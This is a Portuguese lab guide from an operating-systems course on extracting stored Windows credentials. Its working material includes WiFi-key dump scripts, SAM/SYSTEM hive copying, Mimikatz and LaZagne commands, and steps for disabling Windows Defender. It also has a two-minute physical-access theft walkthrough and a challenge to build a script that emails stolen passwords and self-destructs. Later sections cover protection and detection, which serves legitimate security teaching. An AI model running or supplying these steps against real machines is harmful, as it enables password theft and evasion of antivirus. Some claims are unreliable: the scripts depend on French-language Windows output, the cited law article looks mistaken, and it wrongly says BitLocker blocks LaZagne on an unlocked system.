Lab 3.1: Extração Massiva de Credenciais
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Extrair as senhas WiFi armazenadas no Windows
- Recuperar as senhas dos navegadores web
- Fazer dump dos hashes NTLM das contas do Windows
- Entender como o Windows armazena as credenciais
- Avaliar os riscos de segurança relacionados ao armazenamento de senhas
- Aplicar medidas de proteção apropriadas
Duração Estimada
35 minutos
Pré-requisitos
- VM Windows 10/11 com algumas senhas salvas
- Navegador com senhas salvas (Chrome, Firefox ou Edge)
- Algumas redes WiFi registradas
- PowerShell
Contexto Profissional
Em segurança da informação, a extração de credenciais é uma etapa crítica de:
- Testes de penetração autorizados
- Investigação forense
- Avaliação da postura de segurança
- Conscientização dos usuários sobre riscos
Este lab demonstra por que:
- 2 minutos de acesso físico = Todas as suas senhas roubadas
- Gerenciadores de senhas são essenciais
- Criptografia de disco é crucial
- Nunca deixe um computador sem supervisão
⚠️ AVISO ÉTICO E LEGAL - MUITO IMPORTANTE
ESTE LAB ENSINA TÉCNICAS EXTREMAMENTE PODEROSAS
As ferramentas e técnicas deste lab permitem extrair TODAS as senhas armazenadas em um sistema Windows em poucos segundos.
PERMITIDO APENAS:
- Em sua própria VM de teste
- Em sistemas dos quais você é proprietário
- Em um teste de penetração com contrato assinado
- Para investigação forense com mandado legal
ESTRITAMENTE PROIBIDO:
- No computador de terceiros sem permissão por escrito
- Para roubar senhas
- Para acessar contas que não são suas
- Para prejudicar, espionar ou hackear
CONSEQUÊNCIAS LEGAIS:
- Roubo de senhas = Crime grave (Código Penal art. 342.1)
- Prisão e multas pesadas
- Ficha criminal permanente
- Expulsão acadêmica
- Processo civil
AO REALIZAR ESTE LAB, VOCÊ SE COMPROMETE:
- A usar estas técnicas apenas de forma legal e ética
- A NUNCA extrair credenciais de terceiros
- A conscientizar seu entorno sobre os riscos
- A proteger seus próprios sistemas
Parte 1: Extração de Senhas WiFi
Etapa 1.1: Lembrete - Método Manual
Você já conhece este comando do Lab 1.4:
netsh wlan show profiles
netsh wlan show profile name="MonWiFi" key=clear
Limitação: Um comando por rede = Cansativo!
Etapa 1.2: Script de Extração Automática
Crie um arquivo wifi_dump.bat:
@echo off
echo ============================================
echo EXTRACTION MASSIVE - Mots de passe WiFi
echo ============================================
echo.
cd %temp%
netsh wlan show profiles | findstr "Profil Tous" > wifi_names.txt
echo [RESEAUX WIFI TROUVES]
type wifi_names.txt
echo.
echo.
echo [EXTRACTION DES MOTS DE PASSE...]
echo. > wifi_passwords.txt
for /f "tokens=2 delims=:" %%i in ('type wifi_names.txt') do (
set "ssid=%%i"
setlocal enabledelayedexpansion
set "ssid=!ssid:~1!"
echo ========================================== >> wifi_passwords.txt
echo SSID: !ssid! >> wifi_passwords.txt
echo ========================================== >> wifi_passwords.txt
netsh wlan show profile name="!ssid!" key=clear | findstr "Contenu" >> wifi_passwords.txt
echo. >> wifi_passwords.txt
endlocal
)
echo [RESULTATS]
type wifi_passwords.txt
echo.
echo.
echo Fichier sauvegarde: %temp%\wifi_passwords.txt
pause
Execute como administrador:
wifi_dump.bat
BOOM! Em poucos segundos:
- Todas as redes WiFi listadas
- Todas as senhas extraídas
- Salvas em um arquivo!
Perguntas:
- Quantas redes WiFi você encontrou?
- Quantas senhas você extraiu?
- Quanto tempo levou a operação?
Etapa 1.3: Versão PowerShell (Mais Elegante)
Script PowerShell wifi_extract.ps1:
Write-Host "=== EXTRACTION WIFI ===" -ForegroundColor Cyan
$profiles = netsh wlan show profiles | Select-String "Profil Tous" | ForEach-Object {
$_ -replace ".*:\s+", ""
}
$results = @()
foreach ($profile in $profiles) {
$profile = $profile.Trim()
Write-Host "Extraction: $profile" -ForegroundColor Yellow
$password = netsh wlan show profile name="$profile" key=clear |
Select-String "Contenu de la clé" |
ForEach-Object { $_ -replace ".*:\s+", "" }
$results += [PSCustomObject]@{
SSID = $profile
Password = if($password) {$password} else {"(Pas de mot de passe)"}
}
}
$results | Format-Table -AutoSize
$results | Export-Csv -Path "$env:TEMP\wifi_credentials.csv" -NoTypeInformation
Write-Host "`nSauvegarde: $env:TEMP\wifi_credentials.csv" -ForegroundColor Green
Execute:
powershell -ExecutionPolicy Bypass -File wifi_extract.ps1
Resultado: Tabela formatada + arquivo CSV!
Perguntas: 4. Você prefere o script BAT ou PowerShell? 5. Por que um atacante usaria esta técnica?
Parte 2: Extração de Senhas dos Navegadores
Etapa 2.1: Entendendo o Armazenamento
Os navegadores armazenam as senhas:
- Chrome: Banco de dados SQLite criptografado
- Firefox: Banco de dados SQLite
- Edge: Igual ao Chrome (Chromium)
Localização:
- Chrome:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - Firefox:
%APPDATA%\Mozilla\Firefox\Profiles\ - Edge:
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
Criptografia:
- Windows Data Protection API (DPAPI)
- Descriptografável SE você tiver acesso à conta do usuário!
Etapa 2.2: Método Manual - Chrome (Demonstração)
Exiba as senhas via Chrome:
- Abra o Chrome
chrome://settings/passwords- Clique no olho para ver uma senha
- Senha do Windows solicitada!
Limitação: Uma por vez, interface gráfica
Mas com acesso aos arquivos...
Etapa 2.3: Script PowerShell - Extração Chrome
IMPORTANTE: O Chrome deve estar fechado!
Script chrome_passwords.ps1:
# Vérifier si Chrome est installé
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
if (!(Test-Path $chromePath)) {
Write-Host "Chrome n'est pas installé ou pas de mots de passe" -ForegroundColor Red
exit
}
Write-Host "=== EXTRACTION MOTS DE PASSE CHROME ===" -ForegroundColor Cyan
Write-Host "ATTENTION: Ceci est une DEMONSTRATION!" -ForegroundColor Yellow
Write-Host ""
# Copier la base de données (Chrome doit être fermé!)
$tempDb = "$env:TEMP\ChromeLoginData"
Copy-Item $chromePath $tempDb -Force
Write-Host "Base de donnees copiee" -ForegroundColor Green
Write-Host "Localisation: $chromePath" -ForegroundColor Yellow
Write-Host ""
Write-Host "CONTENU (apercu):" -ForegroundColor Cyan
# Afficher quelques infos (sans déchiffrement complet pour ce lab basique)
# Pour déchiffrement complet: Utiliser LaZagne ou outil spécialisé
Write-Host "- Fichier SQLite trouve"
Write-Host "- Taille: $((Get-Item $chromePath).Length / 1KB) KB"
Write-Host "- Derniere modification: $((Get-Item $chromePath).LastWriteTime)"
Write-Host ""
Write-Host "Pour extraction complete, utiliser LaZagne (voir Partie 4)" -ForegroundColor Yellow
Remove-Item $tempDb -Force
Nota: A descriptografia DPAPI é complexa. Usaremos uma ferramenta automatizada na próxima etapa.
Parte 3: Hash NTLM das Contas Windows
Etapa 3.1: Entendendo os Hashes NTLM
O Windows armazena as senhas em forma de hash:
- Arquivo:
C:\Windows\System32\config\SAM - Hash NTLM (NT LAN Manager)
- Impossível ler diretamente (arquivo bloqueado)
Mas com privilégios SYSTEM ou modo de recuperação...
Etapa 3.2: Método Reg Save (Requer Admin)
Execute o cmd como administrador:
reg save HKLM\SAM C:\Users\%USERNAME%\Desktop\sam_backup
reg save HKLM\SYSTEM C:\Users\%USERNAME%\Desktop\system_backup
Resultado: Arquivos SAM e SYSTEM salvos!
Estes arquivos contêm:
- Todas as contas de usuários locais
- Seus hashes NTLM
- Podem ser quebrados offline!
Perguntas: 6. Você conseguiu salvar SAM e SYSTEM? 7. Qual o tamanho desses arquivos?
Etapa 3.3: Extração com Mimikatz (Demonstração)
Mimikatz é a ferramenta referência para extração de credenciais do Windows.
ATENÇÃO: Antivírus vão detectar! Isso é normal.
Comandos Mimikatz (demonstração conceitual):
privilege::debug
token::elevate
lsadump::sam
Resultado: TODOS os hashes NTLM das contas exibidos!
Nota: Para este lab, não instalamos o Mimikatz (detectado como malware). Usaremos o LaZagne no lugar (menos detectado).
Parte 4: LaZagne - A Ferramenta Suprema (Instalação e Uso)
Etapa 4.1: O que é o LaZagne?
LaZagne = Ferramenta Python open-source que extrai TUDO:
- Senhas WiFi
- Senhas de navegadores (Chrome, Firefox, Edge, Opera, etc.)
- Senhas de email (Outlook, Thunderbird)
- Senhas FTP (FileZilla)
- Credenciais Git, SVN
- Credenciais de bancos de dados
- E muito mais!
Em um único comando!
Etapa 4.2: Download
Opção A: Versão pré-compilada (Recomendado para este lab)
- Acesse: https://github.com/AlessandroZ/LaZagne/releases
- Baixe
lazagne.exe(versão Windows standalone)
Opção B: Do código-fonte (se Python instalado)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Windows
python laZagne.py all
ATENÇÃO: O antivírus provavelmente irá bloquear! Normal, é uma ferramenta "ofensiva".
Etapa 4.3: Desativar o Windows Defender Temporariamente
Para usar o LaZagne, é preciso desativar o Defender:
PowerShell como admin:
Set-MpPreference -DisableRealtimeMonitoring $true
Ou via interface:
- Configurações → Privacidade e segurança → Segurança do Windows
- Proteção contra vírus e ameaças
- Gerenciar configurações
- Desativar Proteção em tempo real
Adicione uma exclusão:
Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\Downloads"
Perguntas: 8. Você conseguiu desativar o Defender? 9. Por que o Defender detecta o LaZagne?
Etapa 4.4: Execução do LaZagne - EXTRAÇÃO TOTAL
O COMANDO MÁGICO:
lazagne.exe all
AGUARDE 10-30 SEGUNDOS...
RESULTADO EXIBIDO:
########## User: SeuNome ##########
------------------- Wifi passwords -------------------
[+] SSID: MeuWiFi_5G
Password: SuperSecret123!
[+] SSID: Empresa_WiFi
Password: Empresa2024
------------------- Chrome passwords -------------------
[+] URL: https://facebook.com
Username: seuemail@example.com
Password: SenhaFacebook123
[+] URL: https://gmail.com
Username: voce@gmail.com
Password: GmailPassword456!
------------------- Firefox passwords -------------------
[+] URL: https://github.com
Username: suaconta
Password: GitHub789Pass
------------------- System Hash -------------------
[+] Username: Administrador
Hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[+] 15 passwords found!
UOU! TODAS AS SENHAS EM TEXTO CLARO!
Etapa 4.5: Salvar em um Arquivo
Para salvar os resultados:
lazagne.exe all > C:\Users\%USERNAME%\Desktop\ALL_PASSWORDS.txt
Ou em JSON (estruturado):
lazagne.exe all -oJ -output C:\Users\%USERNAME%\Desktop
Arquivo criado: credentials.json com TUDO!
Perguntas: 10. Quantas senhas o LaZagne encontrou? 11. Você se surpreendeu com alguma senha que havia esquecido? 12. Quanto tempo levou a extração total?
Parte 5: Cenários de Ataque Reais
Etapa 5.1: Cenário "2 Minutos de Acesso Físico"
Situação:
- Vítima vai ao banheiro (2 minutos)
- Computador desbloqueado
- Atacante tem acesso físico
Ações do atacante:
Minuto 1:
- Inserir pen drive com
lazagne.exe - Desativar Defender (5 segundos):
powershell Set-MpPreference -DisableRealtimeMonitoring $true - Executar LaZagne (10 segundos):
E:\lazagne.exe all > E:\pwds.txt
Minuto 2: 4. Aguardar resultados (20 segundos) 5. Remover pen drive 6. Reativar Defender:
powershell Set-MpPreference -DisableRealtimeMonitoring $false
RESULTADO:
- Todas as senhas roubadas
- Nenhum vestígio visível
- Vítima não percebe NADA!
Perguntas: 13. Este cenário lhe parece realista? 14. Você já foi ao banheiro deixando seu PC desbloqueado?
Etapa 5.2: Cenário "Malware"
Se um malware é executado no seu PC:
- Baixa o LaZagne do servidor do atacante
- Executa em segundo plano (invisível)
- Extrai todas as credenciais
- Envia para o servidor C&C (Command & Control)
- Se apaga (remove rastros)
Tempo total: 30 segundos Detectável: Muito difícil se bem feito!
Etapa 5.3: Cenário "Pen Drive Encontrado"
Ataque clássico:
- Atacante deixa pen drive no estacionamento/cantina
- Rótulo: "Salários 2024 - Confidencial"
- Vítima curiosa insere no PC
- Autorun ou vítima dá duplo clique no arquivo
- Script executa o LaZagne
- Envia resultados por email ao atacante
Vítima: Vê apenas "Arquivo corrompido" Realidade: Todas as senhas roubadas!
Perguntas: 15. Você pegaria um pen drive encontrado no chão? 16. O que fazer ao encontrar um pen drive?
Parte 6: Impacto e Consequências
Etapa 6.1: O que um Atacante Pode Fazer?
Com todas as suas senhas, o atacante pode:
Email:
- Ler todos os seus emails
- Enviar emails em seu nome
- Redefinir outras senhas
Redes sociais:
- Se passar por você
- Postar em seu nome
- Acessar suas mensagens privadas
Bancário:
- Acessar seu banco online
- Fazer transferências
- Roubar dinheiro
Profissional:
- Acessar a rede da empresa
- Roubar segredos industriais
- Comprometer colegas
Tudo!
Etapa 6.2: Cadeia de Ataque Completa
Exemplo realista:
- Roubo de senhas (este lab)
- Email comprometido → Redefinir outras contas
- Redes sociais → Engenharia social com contatos
- VPN da empresa → Acesso à rede corporativa
- Servidores internos → Exfiltração de dados
- Ransomware → Criptografia e pedido de resgate
Tudo começa com: 2 minutos de acesso físico!
Perguntas: 17. Qual seria o impacto se TODAS as suas senhas fossem roubadas hoje? 18. Quanto tempo levaria para se recuperar?
Etapa 6.3: Exercício - Avaliação Pessoal
Conte quantas contas você tem:
- Email: ___
- Redes sociais: ___
- Bancárias/Financeiras: ___
- Profissionais: ___
- Outras importantes: ___
- TOTAL: ___
Se armazenadas no navegador: Todas podem ser roubadas em 30 segundos!
Parte 7: Medidas de Proteção
Etapa 7.1: Nunca Armazene Senhas no Navegador
Solução 1: Gerenciador de Senhas Dedicado
Recomendações:
- Bitwarden (gratuito, open source)
- 1Password (pago, excelente)
- KeePassXC (gratuito, local)
Vantagens:
- Criptografia forte
- Senha mestra obrigatória
- Não extraíveis pelo LaZagne
- Geração de senhas fortes
- Sincronização segura
Etapa 7.2: BitLocker Obrigatório
BitLocker protege contra:
- Extração de arquivos em modo de recuperação
- Roubo de notebook
- Acesso físico
Com BitLocker ativado:
- LaZagne não pode ser executado sem a senha de descriptografia
- Arquivos SAM/SYSTEM inacessíveis
- Proteção máxima
Ative agora:
# Verificar status
Get-BitLockerVolume
# Ativar (Windows Pro)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly
Etapa 7.3: Autenticação em Dois Fatores (2FA)
Mesmo que a senha seja roubada:
- 2FA impede o login
- Código adicional obrigatório
- No celular ou chave física
Ative 2FA em tudo:
- Email (CRÍTICO!)
- Banco
- Redes sociais
- Contas profissionais
Aplicativos 2FA:
- Microsoft Authenticator
- Google Authenticator
- Authy
Etapa 7.4: Bloqueio Automático
Configuração Windows:
# Bloqueio após 1 minuto
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 60
powercfg /setactive SCHEME_CURRENT
Ou manualmente:
- Configurações → Contas → Opções de login
- Tempo antes de exigir novo login: 1 minuto
Sempre: Windows + L ao se afastar!
Etapa 7.5: Antivírus e EDR
Windows Defender:
- Mantenha sempre ativado
- Exceto para labs específicos
- Reative imediatamente após
Empresas:
- EDR (Endpoint Detection and Response)
- Detecta execução de LaZagne, Mimikatz
- Alerta a equipe de segurança
Parte 8: Detecção e Limpeza
Etapa 8.1: Verificar se Foi Comprometido
Sinais de extração de credenciais:
Logs do Windows:
# Procurar execuções suspeitas
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message | Format-List
Arquivos suspeitos:
# Procurar LaZagne ou ferramentas similares
Get-ChildItem -Path C:\ -Recurse -Filter "lazagne.exe" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "mimikatz.exe" -ErrorAction SilentlyContinue
Quarentena do Defender:
# Verificar quarentena
Get-MpThreatDetection | Select-Object ThreatName, InitialDetectionTime
Etapa 8.2: O Que Fazer se Comprometido?
Ações imediatas:
- Desconectar da Internet (impedir exfiltração)
- Trocar TODAS as senhas (de outro dispositivo seguro)
- Ativar 2FA em tudo
- Scan completo com antivírus
- Verificar logs bancários e emails
- Notificar a empresa (se PC corporativo)
Etapa 8.3: Reinicialização Completa (Se Necessário)
Se houver dúvida séria:
- Backup dos dados importantes (verificados como limpos)
- Reinstalação completa do Windows
- Troca de TODAS as senhas
- Monitoramento das contas por 6 meses
Entregáveis
A entregar:
-
Documento de análise (Word/PDF, 3-4 páginas):
- Respostas às 18 perguntas
- Captura de tela das senhas WiFi extraídas (borrado!)
- Resultados do LaZagne (ANONIMIZADOS!)
- Análise da sua situação pessoal
-
Capturas de tela (mínimo 5):
- Script wifi_dump em ação
- Resultado do LaZagne (URLs e usernames OK, senhas OCULTAS!)
- Arquivos SAM/SYSTEM salvos
- Configuração do BitLocker
- Gerenciador de senhas instalado
-
Plano de ação pessoal (1 página):
- Estado atual das suas senhas
- Riscos identificados
- Ações a tomar (priorizar)
- Cronograma de implementação
-
Conscientização (opcional):
- Crie um cartaz ou apresentação para conscientizar seu entorno
- "Por que nunca deixar seu PC sem supervisão"
Critérios de Avaliação
| Critério | Pontos |
|---|---|
| Extração bem-sucedida das credenciais WiFi | 20% |
| Compreensão do LaZagne e seu funcionamento | 20% |
| Análise de riscos e cenários de ataque | 20% |
| Plano de ação pessoal realista | 20% |
| Qualidade da documentação e capturas | 15% |
| Conscientização (opcional) | +5% bônus |
Comandos de Referência Rápida
Extração WiFi
netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear
Desativação do Defender
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Tools"
Backup SAM
reg save HKLM\SAM sam_backup
reg save HKLM\SYSTEM system_backup
LaZagne
lazagne.exe all
lazagne.exe all > passwords.txt
lazagne.exe all -oJ
BitLocker
Get-BitLockerVolume
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256
Solução de Problemas
Problema: Defender bloqueia o LaZagne
Solução:
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Downloads"
Problema: "Acesso negado" para SAM
Solução: Execute o cmd como administrador.
Problema: LaZagne não encontra nenhuma senha
Solução:
- Verifique se você tem senhas salvas
- Feche todos os navegadores antes de executar
- Alguns gerenciadores de senhas não são suportados
Indo Além (Opcional)
Desafio 1: Quebra de Hash
Use John the Ripper ou Hashcat para quebrar os hashes NTLM extraídos.
Desafio 2: Script de Extração Automatizado
Crie um script que:
- Desativa o Defender
- Executa o LaZagne
- Envia resultados por email
- Reativa o Defender
- Se auto-destrói
(Apenas para compreensão, nunca usar de forma maliciosa!)
Desafio 3: Proteção Avançada
Implemente:
- Credential Guard (Windows)
- Windows Hello for Business
- Certificados em vez de senhas
- Smart cards
Recursos Adicionais
- LaZagne GitHub
- Mimikatz Documentation
- DPAPI Explained (Microsoft)
- Credential Manager (Windows)
- OWASP Password Storage Cheat Sheet
Conclusão
Este lab ensinou:
- Como o Windows armazena as credenciais
- Técnicas de extração massiva de senhas
- Uso do LaZagne para dump completo
- Cenários de ataque realistas
- Medidas de proteção eficazes
Lições CRÍTICAS:
- 2 minutos de acesso = Todas as suas senhas roubadas
- NUNCA armazene senhas no navegador
- Gerenciador de senhas dedicado = Essencial
- BitLocker = Proteção máxima
- 2FA = Salvação se a senha for roubada
- Bloqueio automático = Hábito indispensável
MENSAGEM FINAL:
Agora você sabe o quão FÁCIL é roubar todas as senhas de um computador.
Proteja-se:
- Instale um gerenciador de senhas AGORA
- Ative 2FA em todas as suas contas HOJE
- Nunca deixe seu PC sem supervisão
- Conscientize seu entorno
Com grande poder vem grande responsabilidade.
Use este conhecimento para o BEM: proteja-se e proteja os outros.
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 3
⚠️ LEMBRETE FINAL: Estas técnicas são apenas para aprendizado. Uso malicioso = Crime grave.